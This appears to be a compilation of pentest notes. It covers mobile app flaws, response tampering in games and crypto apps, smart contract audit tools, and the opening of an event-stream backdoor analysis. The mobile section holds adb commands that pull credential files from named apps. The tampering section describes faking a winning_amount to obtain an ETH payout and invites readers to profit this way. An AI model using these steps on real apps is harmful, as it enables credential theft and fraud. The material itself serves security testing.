# Common vuls in Mobile Apps

## Introduction

During the time doing mobile pentest, I've realized that developers are often implementing an insecure code which makes an application exposed to security risks. By abusing those ones, it opens up an opportunity for a bad guy to steal users' credentials or users' personal data by just getting into the phone, rooting them (or NOT) , and start being a cockeyed at your data.

{% hint style="info" %}
Of course, in some cases, there is no need to be a rooted phone!&#x20;
{% endhint %}

They are so many times I've seen these type of vuls in any apps during my mobile pen testing (especially in Android) as such, saving password without encryption, expose users credentials, data to logcat, or just storing users credentials (keystore,..) in /shared\_prefs/ directory and so on. Therefore, in this article I'll be listing and explaining the common vuls/mistakes that developers are often suffer:

### **1.Storing users' credentials in plain text**

\
The most common security concern for an application on Android is whether the data that you save on the device is accessible to other apps. There are three fundamental ways to save data on the device:

* Internal storage.
* External storage.
* Content providers.

The following paragraphs describe the security issues associated with each approach.

**Use internal storage**

By default, files that you create on [internal storage](https://developer.android.com/guide/topics/data/data-storage.html#filesInternal) are accessible only to your app. Android implements this protection, and it's sufficient for most applications.

Generally, avoid the [`MODE_WORLD_WRITEABLE`](https://developer.android.com/reference/android/content/Context.html#MODE_WORLD_WRITEABLE) or [`MODE_WORLD_READABLE`](https://developer.android.com/reference/android/content/Context.html#MODE_WORLD_READABLE) modes for IPC files because they do not provide the ability to limit data access to particular applications, nor do they provide any control of data format. If you want to share your data with other app processes, instead consider using a [content provider](https://developer.android.com/guide/topics/providers/content-providers.html), which offers read and write permissions to other apps and can make dynamic permission grants on a case-by-case basis.

To provide additional protection for sensitive data, you can encrypt local files using a key that is not directly accessible to the application. For example, you can place a key in a [`KeyStore`](https://developer.android.com/reference/java/security/KeyStore.html) and protect it with a user password that is not stored on the device. While this does not protect data from a root compromise that can monitor the user inputting the password, it can provide protection for a lost device without [file system encryption](http://source.android.com/tech/encryption/index.html).

Many apps that do not encrypt the users data before writing into the file whereas it's placed in the internal storage. For an instance:

![The user's password is stored in plain-text.](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LfNVt2pa-rdBsbNuglR%2F-LfNWW1wy6Q9jHoTaZC_%2Fpassexposed.png?alt=media\&token=8ee8cae0-4c12-428a-b584-9e314cdd02e6)

Many people think that the attackers have no ways to exploit and read this type of critical data due to the Android sandbox and moreover the phone is hard to be rooted. They could be wrong ?!. Except the root case, I've found out another sneaky trick that allow me to achieve this data without rooting the device by just using backup.

**Case 1:**&#x20;

If the app is **debug-able** you could do:

```
$ adb shell
$ run-as <app-package-id>
$ cat /data/data/<app-package-id>/shared_prefs/prefs.xml
```

Run `grep " 1 /" /data/system/packages.list` to list all debug-able apps

**Case 2:**

Otherwise....

`$ adb backup -f ~/data.ab -noapk com.bplus.vtpay`&#x20;

or

`adb backup "-noapk com.innogames.enterprise.elvenar"`

`$ java -jar abe.jar unpack ~/data.ab vtpay.tar ""` ([abe](https://sourceforge.net/projects/adbextractor/))

`$ apps/com.bplus.vtpay/sp/vtp_shared_user_info.xml`

**Use external storage**

Files created on [external storage](https://developer.android.com/guide/topics/data/data-storage.html#filesExternal), such as SD cards, are globally readable and writable. Because external storage can be removed by the user and also modified by any application, don't store sensitive information using external storage.

You should [Perform input validation](https://developer.android.com/training/articles/security-tips#InputValidation) when handling data from external storage as you would with data from any untrusted source. You should not store executables or class files on external storage prior to dynamic loading. If your app does retrieve executable files from external storage, the files should be signed and cryptographically verified prior to dynamic loading.

**Use content providers**

[Content providers](https://developer.android.com/guide/topics/providers/content-providers.html) offer a structured storage mechanism that can be limited to your own application or exported to allow access by other applications. If you do not intend to provide other applications with access to your [`ContentProvider`](https://developer.android.com/reference/android/content/ContentProvider.html), mark them as [`android:exported=false`](https://developer.android.com/guide/topics/manifest/provider-element.html#exported) in the application manifest. Otherwise, set the [`android:exported`](https://developer.android.com/guide/topics/manifest/provider-element.html#exported) attribute to `true` to allow other apps to access the stored data.

When creating a [`ContentProvider`](https://developer.android.com/reference/android/content/ContentProvider.html) that is exported for use by other applications, you can specify a single [permission](https://developer.android.com/guide/topics/manifest/provider-element.html#prmsn)for reading and writing, or you can specify distinct permissions for reading and writing. You should limit your permissions to those required to accomplish the task at hand. Keep in mind that it’s usually easier to add permissions later to expose new functionality than it is to take them away and impact existing users.

If you are using a content provider for sharing data between only your own apps, it is preferable to use the[`android:protectionLevel`](https://developer.android.com/guide/topics/manifest/permission-element.html#plevel) attribute set to `signature` protection. Signature permissions do not require user confirmation, so they provide a better user experience and more controlled access to the content provider data when the apps accessing the data are [signed](https://developer.android.com/tools/publishing/app-signing.html) with the same key.

Content providers can also provide more granular access by declaring the [`android:grantUriPermissions`](https://developer.android.com/guide/topics/manifest/provider-element.html#gprmsn) attribute and using the [`FLAG_GRANT_READ_URI_PERMISSION`](https://developer.android.com/reference/android/content/Intent.html#FLAG_GRANT_READ_URI_PERMISSION) and [`FLAG_GRANT_WRITE_URI_PERMISSION`](https://developer.android.com/reference/android/content/Intent.html#FLAG_GRANT_WRITE_URI_PERMISSION) flags in the [`Intent`](https://developer.android.com/reference/android/content/Intent.html)object that activates the component. The scope of these permissions can be further limited by the [`<grant-uri-permission>`](https://developer.android.com/guide/topics/manifest/grant-uri-permission-element.html) element.

When accessing a content provider, use parameterized query methods such as [`query()`](https://developer.android.com/reference/android/content/ContentProvider.html#query\(android.net.Uri,%20java.lang.String\[],%20java.lang.String,%20java.lang.String\[],%20java.lang.String\)), [`update()`](https://developer.android.com/reference/android/content/ContentProvider.html#update\(android.net.Uri,%20android.content.ContentValues,%20java.lang.String,%20java.lang.String\[]\)), and [`delete()`](https://developer.android.com/reference/android/content/ContentProvider.html#delete\(android.net.Uri,%20java.lang.String,%20java.lang.String\[]\)) to avoid potential SQL injection from untrusted sources. Note that using parameterized methods is not sufficient if the `selection` argument is built by concatenating user data prior to submitting it to the method.

Don't have a false sense of security about the write permission. The write permission allows SQL statements that make it possible for some data to be confirmed using creative `WHERE` clauses and parsing the results. For example, an attacker might probe for the presence of a specific phone number in a call log by modifying a row only if that phone number already exists. If the content provider data has predictable structure, the write permission may be equivalent to providing both reading and writing.

### **2. Print users' credentials to logcat**

Android applications may leak sensitive information either inherently or as a result of harmful influence. When this happens, it's called an *Information disclosure* vulnerability. This recipe talks about how to check an application for potential leaks of sensitive information by inspecting the Android logcat, which is used by the application developers as a debugging tool. We will also talk about how you can take advantage of one of Android's built-in benchmarking tools to help make logcat inspection a little more rewarding.

With this type of security weakness, the attackers do not need to perform "rooting device" as long as the USB Debugging to be enabled on victims Android device.

For simple & efficient way to trace the log, we will use trivial `adb` command without installing any 3rd party such as pidcat or so.

`adb shell ps -A | grep "<name of the application"`&#x20;

`adb logcat | grep "<PID>"`

The results are shown as

![User personals information are shown in log](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LfN_UXzrPvHSTGPASLB%2F-LfNbPPb3XzzhfHu9oVS%2Fmomolog2.png?alt=media\&token=14e2c361-49bc-4cd7-85bf-8611311d813c)

![User password is traced in plain-text through log](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LfN_UXzrPvHSTGPASLB%2F-LfNbXLqr-rjT5JuXscn%2FTronWalletPass1.png?alt=media\&token=55616595-3c43-412a-9856-746d2c4f998a)

### **3. Allow rooted devices**

I really do not want to talk about this because it's already so obvious by itself. Allowing rooted device to install and experience your application, IMHO it does not help your app rating or its popularity get higher. It just reduces your app reputation and apparently takes your resources by solving those ridiculous security issues like "why am I losing my money?, why my password got stolen?". This is not worthy at all, or the worse case is that some users trying to exploit in order to get their own personal benefits from your app, later on their account gets crashed or something. So what?!, your team does not ever know what's happening and start speeding time, money for a research "why"?.&#x20;

Therefore, first of all please make a warning banner pops up if your application detects a rooted device like

{% hint style="info" %}
Your phone is rooted, we are not responsible for .....
{% endhint %}

Or better case:

{% hint style="info" %}
You're not allowed to install this app due to your device is rooted!!!!
{% endhint %}

### **4. Server Side Controls (weak)**

For those who are non-techie, it is imperative to know whatever communication happens between the app and the user outside is through a server. As a result, hackers target the server on a primary basis. So what can be done is, ensure server-side security. Whether you wish to hire a specialized security expert in-house or make use of a manual test or testing tool or think of considering general precautions.

I have to admit that this is a large topic that's why I've made a [separated article](https://enderspub.e-cyber.ee/thinking-about-res) for it. With my humble experience in pen test. I'd like to divide it into 02 different cases (you might be in one of them).

**Case 01:** The application interacts with the server constantly&#x20;

This common case happens in none-game apps because the users related data is minor, thus the requests are always made every single time the functions are called. I hope that you've already known what is "data validation" in security point of view. Yes, what I want to talk to is tampering data requests, indeed it happens in both Request & Response, GET or POST. If you are confused what this is, just wandering around google that could be helpful to know.

&#x20;The tampering data requests happens when the server side does not re-verifies the input when propagated to end users (Reponse). And, the server side does not re-verifies the data between user input and server when propagated to end server (Request).

![Attackers tamper the request and change the actual value to an arbitrary value](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LfO7ywuT6L65djPSSk7%2F-LfOCPi3z42_-NV3ZibM%2Ftamper.png?alt=media\&token=9470bf19-6b9c-469c-bf7b-a930558f86fe)

**Case 02:** The application data is loaded at first time when created.

This often happens in gaming apps more than other apps due to the huge data have to be propagated to the users as such gold, points, time to build, and other number values that makes the game run. Thus, talking with the server constantly in the real time is painful. Developer always choose to load all of these values once at the first time the application created.

Similarly to the case 01, attackers just need to tamper the data (RESPONSE) that are propagated by the servers to the end users and change them to whatever they want. For an example:

The players will get 500 Gold for first time play, the server will response with value {Gold: 500} to the clients. The attackers are able to replace this value to an arbitrary amount they want.

`{Gold: 500}  replace to {Gold: 700}`, at here the players will get 700 gold instead of 500 for first time the character created.&#x20;

![Match and Replace function help to change the response parameters](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LfOGYW-ZeA-7R_SjlKO%2F-LfOHumgK7_Vf6wxriZo%2Freplace.png?alt=media\&token=1a15195f-ee54-4d67-83fb-2b77dd7c5186)

### **5. Lack of Binary Protections**

This one is for those who are techies. In case of absence of binary protection, you can reverse engineer the code of app to inject malware or redistribute the pirated application possibly with a threat. One of the significant concerns in mobile app security is that it can result in confidential data theft, brand and trust damage, frauds, revenue losses, etc.

Use binary hardening techniques where files can be easily analyzed and modified to protect against common exploits. As a result, the vulnerability can be fixed in the legacy code itself without the need for source code. Along with this, secure coding techniques for jailbreak detection controls, checksum controls, certificate pinning controls, and debugger detection controls.

### **6. Poor Authorization**

Unfortunately, mobile internet connections are not as reliable as web connections. This means they might require [offline authentication](https://mobilefirstplatform.ibmcloud.com/tutorials/en/foundation/6.3/authentication-security/offline-authentication/) to maintain the uptime. Moreover, it might end up creating security loopholes that must be taken into consideration by developers.

So what can be done is- make use of an adversary that can brute force through the security logins in the offline mode and make operations on the app easier. Besides, you can even limit login only in the online mode; this will prevent operation on sensitive information. In case, if there is a specific business requirement to allow for offline authentication, then you can encrypt the app data that can be opened only with specific operations.

### **7. Improper Session Handling**

In a layman’s language, the continuance of the previous session for a long period even if the end user has switched from the app is what improper session handling is all about. This practice can be dangerous especially if the phone is stolen. The person who gains access to this device can undertake control over the application and steal or manipulate important data.

So how to find a mid-way between speed and privacy protection? Again, use re-authentication for important actions like purchases or access to priority marked documents. Amazon mobile app is the best example of this issue.

### **8. Broken Cryptography**

Mainly arises due to bad encryption or incorrect implementation; Broken cryptography allows hackers to decrypt the sensitive data to its original form and manipulate or steal it as per his/her convenience. Try using superior [encryption protocols](https://searchmobilecomputing.techtarget.com/tip/How-iOS-encryption-and-data-protection-work) and proper implementation process to avoid any mistakes and perform encryption properly.

## Refs

<https://www.hostreview.com/blog/190422-tips-for-better-mobile-app-security>

<https://developer.android.com/training/articles/security-tips>


# Thinking about Requests

The reason I want to wrap up this topic is just to keep all of my logics and comprehension of request in pen testing, hacking. Why it’s important? Rather than knowing the best practices, security cheat sheets that need to follow in order to protect your applications from the attacks, which also could be done by automatic software, tools or so. But for requests, in this case, could be API, I'd say it's quite tedious for those automatic "machines" to help you detect things. Indeed, with common vulnerabilities like SQL injection, XSS, CSRF or so could be done easily by fuzzing.

The things I want to talk here is the interaction between the application and servers which they are talking to. Before diving into it, I just want you to understand one important thing (it could be not sufficient) from my knowledge that is the way how the app works. Most of the applications nowadays, it depends on what types of applications they have their own structure. Thus, I'd like to repeat my words in the previous post "Common vuls in Mobile Apps".

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LuR5zphrIa2Px1I041d%2F-LuR688i-Sn8xrLe49IV%2FGetImage.png?alt=media\&token=bb34d58e-ad48-433a-89d6-6a17fd89a028)

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LuR5zphrIa2Px1I041d%2F-LuR6BTAokttGohATCiF%2FGetImage%20\(1\).png?alt=media\&token=a0184223-0570-45d1-9c90-802ec8d25ec7)

**Case 01: The application interacts with the server constantly**

This common case happens in none-game apps on the grounds that the user's relevant data is minor, thus the requests are always made every single time the functions are called. I hope that you've already known what is "data validation" in security point of view. Yes, what I want to talk to is tampering data requests, indeed it happens in both Request & Response, GET or POST. If you are confused about what this is, just wandering around google that could be helpful.

The tampering data requests happens when the server side does not re-verifies the input when propagated to end-users (Response). And, the server-side does not re-verifies the data between user input and server when propagated to end server (Request).

**Case 02: The application data is loaded for the first time when created.**

This often happens in gaming apps more than other apps due to the huge data have to be propagated to the users as such gold, points, time to build, and other numerical values that makes the game run. Therefore, talking with the server constantly in the real-time is painful and really tedious. Developers always choose to load all of these values once at the first time the application created.

Similarly to the case 01, attackers just need to tamper the data (RESPONSE) that are propagated by the servers to the end users and change them to whatever they want. For example:

The players will get 500 Gold for first-time play, the server will response with value {Gold: 500} to the clients. The attackers are able to replace this value to an arbitrary amount.

{Gold: 500} replace to {Gold: 700}, at here the players will get 700 gold instead of 500 for the first time the character created.

I hope the 2 cases afore have given you the illustration of how the mobile/desktop applications work with its data derived from the servers, of course, there are more but these are generic ones I'd say. As you can see it does not include other common vuls like SQL injection or XSS in this case. It's a real hack, it challenges your logics, skills and experiences to understand the whole structure of the app at first, then later use your skills and logic to analyze and exploit them. How to get more gold for yourself?, Will replace the values in response make you as a top player? How to bypass the minimum value set to make a transaction for lower KYC? And many more cases to gain the benefits for your own if you know how to sneak into it 😊 . Let's dive right into it

I'll be talking about black box pentest. But, what is tampering request attack?

[As the OWASP defines](https://www.owasp.org/index.php/Web_Parameter_Tampering) - "The Web Parameter Tampering attack is based on the manipulation of parameters exchanged between client and server in order to modify application data, such as user credentials and permissions, price and quantity of products, etc. Usually, this information is stored in cookies, hidden form fields, or URL Query Strings, and is used to increase application functionality and control. This attack can be performed by a malicious user who wants to exploit the application for their own benefits or an attacker who wishes to attack a third-person using a Man-in-the-middle attack. In both cases, tools like Webscarab and Paros proxy are mostly used. The attack success depends on integrity and logic validation mechanism errors, and its exploitation can result in other consequences including XSS, SQL Injection, file inclusion, and path disclosure attacks."

The scenarios are similar with Mobile Parameter Tampering attack, it's web based attack obviously. Rather than that, it just adds one more case of changing the values and behaviors of the apps. It makes the app works in abnormally and helps players gain benefits from it.

**Determine functions (buttons):**

**1.Single function**

A button is represented for a function, which means once users press them they will execute a command. In the picture shown below, a single function "buy" make a post request that containing some other key pair values. These values are changeable and replaced by other malicious values which will give the attackers benefits.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LuR5zphrIa2Px1I041d%2F-LuR6GnfHKQ8SipeOOHw%2FGetImage%20\(2\).png?alt=media\&token=c073c7f7-f2dc-4087-9c7c-0e9683a8ff04)

**2. Family functions**

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LuR5zphrIa2Px1I041d%2F-LuR6JPIhHwqqDM5IGdV%2FGetImage%20\(3\).png?alt=media\&token=3efecb76-d2f2-43eb-a6ec-7d76d9ba78f0)

The preceding picture has shown that the relation between buttons (functions). An "ETH" function has 2 child functions Withdraw and Deposit, in the other way, pressing the ETH button will show you another page containing Withdraw and Deposit buttons. Usually, the parent's functions are not just landing pages, it also has its own requests in the back to operate their child functions. More precisely, the response data of the ETH function is also the request data of the Withdraw and Deposit.

![](https://1935782820-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LejI2We-R9d3LmZiE0r%2F-LuR5zphrIa2Px1I041d%2F-LuR6O7w-I29gJ-d6uuV%2FGetImage%20\(4\).png?alt=media\&token=7bbabd5e-95dc-4187-9973-b53059a24f14)

The above figure illustrates that a pentester has tampered the response values amount from 0 to 100, now the app understands that the servers responded with value 100 for winning\_amount, then stored them in the local database where later it's used for Withdraw request data. He's now bypassed the condition of Withdraw and making a request to withdraw. Remember in this case, the server does not double-check for user's winning\_amount, there is a fund keeper who keeps and gives all the money to the players. Thus, the fund keeper thought that this user has won 100 ETH and started giving him the prize. Back to the previous section, where the value 100 came from?. It was tampered and replaced at the first "press" ETH button, where the server is supposed to response the actual winning\_amount but it was deceived by the pentester.

*Yes, you no need to replace winning\_amount by using tamper method. You can just go to the local database and modify them as rooted users.*


# Smart Contract Automated Testing Guidelines

Author: enderlocphan\@gmail.com || https\://github.com/enderphan94/solidity-pentest/

## Foreword

The documents aim to recap my experience in smart contract automated testing besides manual testing. I also put the issues that I faced during the execution, indeed, solutions are given.

## Connecting with Remix from localhost

For a complex project, you can't just copy paste the single sol file and let it run. To make our life easier, Remix has the localhost connection which allows you to interact with your project in your local machine remotely.

This is something I'm used to doing when the project has a large number of inheritant contracts. Obviously, this makes our life easier than ever by just downloading the git project and do some commands.

### Steps:

1. Compile your truffle contract if needed with `npm install` (!remember removing the package-lock.json, if it does have it). Otherwise, the remix wouldn't be able to load all libraries for the contracts that are being called.
2. Go to WorkSpaces on the left panel and choose "Connect to Localhost"

![](https://github.com/enderphan94/solidity-pentest/blob/master/images/remix1.png?raw=true)

1. The message box pops up and you just need to read carefully and copy the command shown in the box to connect your localhost

![](https://github.com/enderphan94/solidity-pentest/blob/master/images/remix2.png?raw=true)

```bash
remixd -s path-to-the-shared-folder --remix-ide remix-ide-instance-URL
```

Important:

> path-to-the-shared-folder: needs to be an absolute path
>
> remix-ide-instance-URL: needs to plain with http or https

eg:

```bash
remixd -s /home/enderphan/LOLToken/ --remix-ide http(s)://your-remix-address.com/
```

### Issues

#### Issue 1

Somtimes I still got this error from Remix

> Cannot connect to the remixd daemon. Please make sure you have the remixd running in the background.

What I usually do is just switch to a new terminal tab and re-type the remixd command. If needed, you can just uinstall and reinstall the remixd (Close VS-Code to do this, if you have it opened)

<https://remix-ide.readthedocs.io/en/latest/remixd.html>

#### Issue 2

The same error but another issue.

<https://ethereum.stackexchange.com/questions/78637/cant-connect-remix-ide-using-remixd>

## Solc version problems

Source: <https://github.com/crytic/solc-select>

### Issues

You need to just switch the version of solc quickly by a command. The version of solc is kindda painful, depending on the tools and project, you need to use a specific and exact version to compile.. otherwise broke.

During my audit, I've suffered from solc-select installations. I used to install via the shell command, but now they've upgraded to pip3. The thing is that some docker containers do not support pip3, so you would need to install solc-selct into that docker but pip3. Therefore, I've a copied version of the solc-select installed via shell.

### Installation

Via shell: <https://github.com/enderphan94/solc-select-sh-version>

Via pip3: <https://github.com/crytic/solc-select>

### Usage:

Install the version you want

```bash
solc-select install 0.8.0
```

And use it

```bash
solc-select use 0.8.0
```

Check your solc version again

```bash
solc --version
```

## Tools

### 1. Slither

Source: <https://github.com/crytic/slither>

#### Features

* Detects vulnerable Solidity code with low false positives (see the list of [trophies](https://app.gitbook.com/s/-LejI2We-R9d3LmZiE0r/trophies.md))
* Identifies where the error condition occurs in the source code
* Easily integrates into continuous integration and Truffle builds
* Built-in 'printers' quickly report crucial contract information
* Detector API to write custom analyses in Python
* Ability to analyze contracts written with Solidity >= 0.4
* Intermediate representation ([SlithIR](https://github.com/trailofbits/slither/wiki/SlithIR)) enables simple, high-precision analyses
* Correctly parses 99.9% of all public Solidity code
* Average execution time of less than 1 second per contract

#### How to install

Slither requires Python 3.6+ and [solc](https://github.com/ethereum/solidity/), the Solidity compiler.

**Using Pip**

```bash
pip3 install slither-analyzer
```

**Using Git**

```bash
git clone https://github.com/crytic/slither.git && cd slither
python3 setup.py install
```

We recommend using an Python virtual environment, as detailed in the [Developer Installation Instructions](https://github.com/trailofbits/slither/wiki/Developer-installation), if you prefer to install Slither via git.

**Using Docker**

Use the [`eth-security-toolbox`](https://github.com/trailofbits/eth-security-toolbox/) docker image. It includes all of our security tools and every major version of Solidity in a single image. `/home/share` will be mounted to `/share` in the container.

```bash
docker pull trailofbits/eth-security-toolbox
```

To share a directory in the container:

```bash
docker run -it -v /home/share:/share trailofbits/eth-security-toolbox
```

#### Usage

`slither <file-name>.sol`

#### Isssue

> Error: Source "@openzeppelin/contracts/utils/Context.sol" not found: File outside of allowed directories.

Fixed: the `--allow-path` does not work, just download the library and copy them into the dir.. casual way :/

### 2. Mythril

Mythril detects a range of security issues, including integer underflows, owner-overwrite-to-Ether-withdrawal, and others. Note that Mythril is targeted at finding common vulnerabilities, and is not able to discover issues in the business logic of an application. Furthermore, Mythril and symbolic executors are generally unsound, as they are often unable to explore all possible states of a program.

Source: <https://github.com/ConsenSys/mythril>

#### How to install

```bash
$ docker pull mythril/myth
```

Install from Pypi:

```bash
$ pip3 install mythril
```

Note: In my exprience, I prefer using mythril version installed via pip3 rather than Docker. I've faced so many issues with the docker version, and I decided to switch to pip3 one.

#### Usage

Via pip3: <https://github.com/ConsenSys/mythril/blob/develop/README.md#usage>

Via Docker: `docker run -v $(pwd):/tmp mythril/myth a /tmp/<file-name>.sol --solv 0.5.0`

#### Issues

**Issue 1**

In case the tool gives you this error:

> mythril.mythril.mythril\_disassembler \[ERROR]: The file Token.sol does not contain a compilable contract. mythril.interfaces.cli \[ERROR]: input files do not contain any valid contracts

We can use contract address in testnet or ganache <https://mythril-classic.readthedocs.io/en/master/security-analysis.html>

Ganache: `myth a --rpc ganache -a <address>`

**Issue 2**

Evn: MacOS

Just in case the command `Pip3 install mythril` does not work. I don't remember what happened exactly but something does not work with pip3 in MacOS :)

Use the following command

```bash
sudo xcode-select --switch /Library/Developer/CommandLineTools
```

**Issue 3**

Error

> in self.solidity\_files\[file\_index].full\_contract\_src\_maps IndexError: list index out of range

Just uninstall mythril and reinstall it

```bash
pip3 uninstall mythril
```

```bash
pip3 install mythril
`
```

### 3. Manticore

This tool takes quite a long time to complete.

#### Features

Program Exploration: Manticore can execute a program with symbolic inputs and explore all the possible states it can reach

Input Generation: Manticore can automatically produce concrete inputs that result in a given program state

Error Discovery: Manticore can detect crashes and other failure cases in binaries and smart contracts

Instrumentation: Manticore provides fine-grained control of state exploration via event callbacks and instruction hooks

Programmatic Interface: Manticore exposes programmatic access to its analysis engine via a Python API

#### Installation

> Note: We recommend installing Manticore in a [virtual environment](https://packaging.python.org/guides/installing-using-pip-and-virtual-environments/#installing-virtualenv) to prevent conflicts with other projects or packages

Option 1: Installing from PyPI:

```bash
pip install manticore
```

Option 2: Installing from PyPI, with extra dependencies needed to execute native binaries:

```bash
pip install "manticore[native]"
```

Option 3: Installing a nightly development build:

```bash
pip install --pre "manticore[native]"
```

Option 4: Installing from the `master` branch:

```bash
git clone https://github.com/trailofbits/manticore.git
cd manticore
pip install -e ".[native]"
```

Option 5: Install via Docker:

```bash
docker pull trailofbits/manticore
```

Once installed, the `manticore` CLI tool and Python API will be available.

For a development installation, see our [wiki](https://github.com/trailofbits/manticore/wiki/Hacking-on-Manticore).

#### Usage

Sigle contract in a file

```bash
manticore <file-name>.sol
```

Mutiple contracts in a file

```bash
manticore <file-name>.sol --contract <main-contract-name>
```

Note:

Manticore takes quite a long time to complete the scan by default, so usually I also use `--quick-mode` option for quick exploration. Disable gas, generate testcase only for alive states, do not explore constant functions. Disable all detectors.

```bash
manticore <file-name>.sol --contract <main-contract-name> --quick-mode
```

### 4. Theo

Source: <https://github.com/cleanunicorn/theo>

#### Features

* Automatic smart contract scanning which generates a list of possible exploits.
* Sending transactions to exploit a smart contract.
* Transaction pool monitor.
* Web3 console
* Frontrunning and backrunning transactions.
* Waiting for a list of transactions and sending out others.
* Estimating gas for transactions means only successful transactions are sent.
* Disabling gas estimation will send transactions with a fixed gas quantity.

#### Installation

```bash
pip install theo
```

#### Usage

Usually I deploy the smart contract in Ganache local network, from that, I can freely have the private keys of many accounts. If you have metamask installed, you can deploy in the testnet and get the private key of the accounts.

1. Deploy the contract
2. Run

   ```bash
   theo --rpc-http <your-network>
   ```
3. Enter the private key of the attack's account
4. Enter the smart contract address

eg:

```bash
theo --rpc-http http://127.0.0.1:8545
```

### 5. SmartCheck

Souce: <https://www.npmjs.com/package/@smartdec/smartcheck>

SmartCheck is an extensible static analysis tool for discovering vulnerabilities and other code issues in Ethereum smart contracts written in the Solidity programming language

#### Installation

```bash
npm install @smartdec/smartcheck -g
```

#### Usage

1. Copy the contract to a folder
2. Run

   ```bash
   smartcheck -p <path to directory or file>
   ```

### 6. Securitfy2

Source: <https://github.com/eth-sri/securify2>

#### Furture

* Supports 38 vulnerabilities (see table below)
* Implements novel context-sensitive static analysis written in Datalog
* Analyzes contracts written in Solidity >= 0.5.8

#### Installation

To build the container:

```bash
sudo docker build -t securify .
```

To run the container:

```bash
sudo docker run -it -v <contract-dir-full-path>:/share securify /share/<contract>.sol
```

contract-dir-full-path: should be the absolute path

eg:

```bash
sudo docker run -it -v </Users/foob/contract/>:/share securify /share/test.sol
```

### 7. Sohint

Source: <https://github.com/duaraghav8/Ethlint>

Ethlint (Formerly Solium) analyzes your Solidity code for style & security issues and fixes them.

#### Installation

```bash
npm install -g ethlint
```

#### Usage

In the root directory of your DApp:

```bash
solium --init
```

This creates .soliumrc.json file, which contains configuration that tells Solium how to lint your project. You should modify this file to configure rules, plugins and sharable configs.

I just usually use this simple setting.

```javascript
{
  "extends": "solium:recommended"
}
```

Then you can run

```bash
solium -f foobar.sol
```

or

```bash
solium -d contracts/
```

### 8. Spell check

Source: <https://github.com/streetsidesoftware/cspell>

The cspell mono-repo, a spell checker for code.

#### Installation

```bash
npm install -g git+https://github.com/streetsidesoftware/cspell-cli
```

#### Usage

```bash
cspell-cli <contract-name>.sol
```

### 9. Sūrya (flow graph)

Source: <https://github.com/ConsenSys/surya>

Surya is an utility tool for smart contract systems. It provides a number of visual outputs and information about the contracts' structure. Also supports querying the function call graph in multiple ways to aid in the manual inspection of contracts.

#### Installation

Install graphviz

```bash
brew install graphviz
```

Install surya

```bash
npm install -g surya
```

#### Usage

```bash
surya graph <contract>.sol | dot -Tpng > MyContract.png
```

Note: I recommend using Surya in VS Code

## Audit with Visual Studio Code

Here is my list:

1. Name: vscode-slither

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=samparsky.vscode-slither>
2. Name: Solidity Visual Developer

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-visual-auditor>
3. Name: Slither

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=trailofbits.slither-vscode>
4. Name: Code Spell Checker

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker>
5. Name: mythril

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=xgwang.mythril>
6. Name: solidity

   > VS Marketplace Link: <https://marketplace.visualstudio.com/items?itemName=JuanBlanco.solidity>


# NodeJS: Event-Stream Backdoor Analysis

## I - The story

On November 11th, 2018, at the “event-stream” repository there was a nickname FallingSnow saying that:&#x20;

“ *Am I affected?:*

*If you are using anything crypto-currency related, then maybe. As discovered by @maths22, the target seems to have been identified as copay related libraries. It only executes successfully when a matching package is in use (assumed to be copay at this point). If you are using a crypto-currency related library and if you see flatmap-stream\@0.1.1 after running npm ls event-stream flatmap-stream, you are most likely affected. For example:*

*$ npm ls event-stream flatmap-stream*

*...*

*flatmap-stream\@0.1.1*

*…*

“ - [Readmore](https://github.com/dominictarr/event-stream/issues/116) (I recommend you to read the whole story said by him)

In my opinion, this is a really interesting "story" in blockchain security and hacking world in general. Backdoor?, this words is extremely attractive, and me myself always want to learn more about how attackers in the wild hiding their backdoor or make it persistently stay in the system.

&#x20;`If backdoor is a thing in Security, then how to hide them is an Art.`&#x20;

Therefore, me and my coworker decided to dive right into it in order to see what the backdoor looks like and how that guy(s) could hide them for years

## II - Detection method

1. Go to your repo and run these 2 command lines:&#x20;

   ``for i in `find /home/isysadmin/app-prod -maxdepth 2 -type d| grep node_modules`; do cd $i; pwd;npm ls|egrep "event-stream|flatmap-stream"; done``

   `find /home/isysadmin/app-prod | grep yarn.lock|xargs egrep "event-stream|flatmap-stream"|grep resolved`
2. If it returns the below message, it might have been installed a vulnerable extension of event-stream

   `/xxx/xxx/xxx/xxx/node_modules`\
   `│ │   └─┬ event-stream@3.3.6`\
   `│ │     ├── flatmap-stream@0.1.2`

## III - The affected requirements.

1. 2 extensions have been installed event-stream version 3.3.6 and flatmap-stream version 0.1.2
2. console.log(process\["env"]\["npm\_package\_description"]) = 'A Secure Bitcoin Wallet'. This is a secret key to encrypt the malicious code

## **III - Reversing**

Cat this file by using: cat node\_modules/flatmap-stream/test/data.js

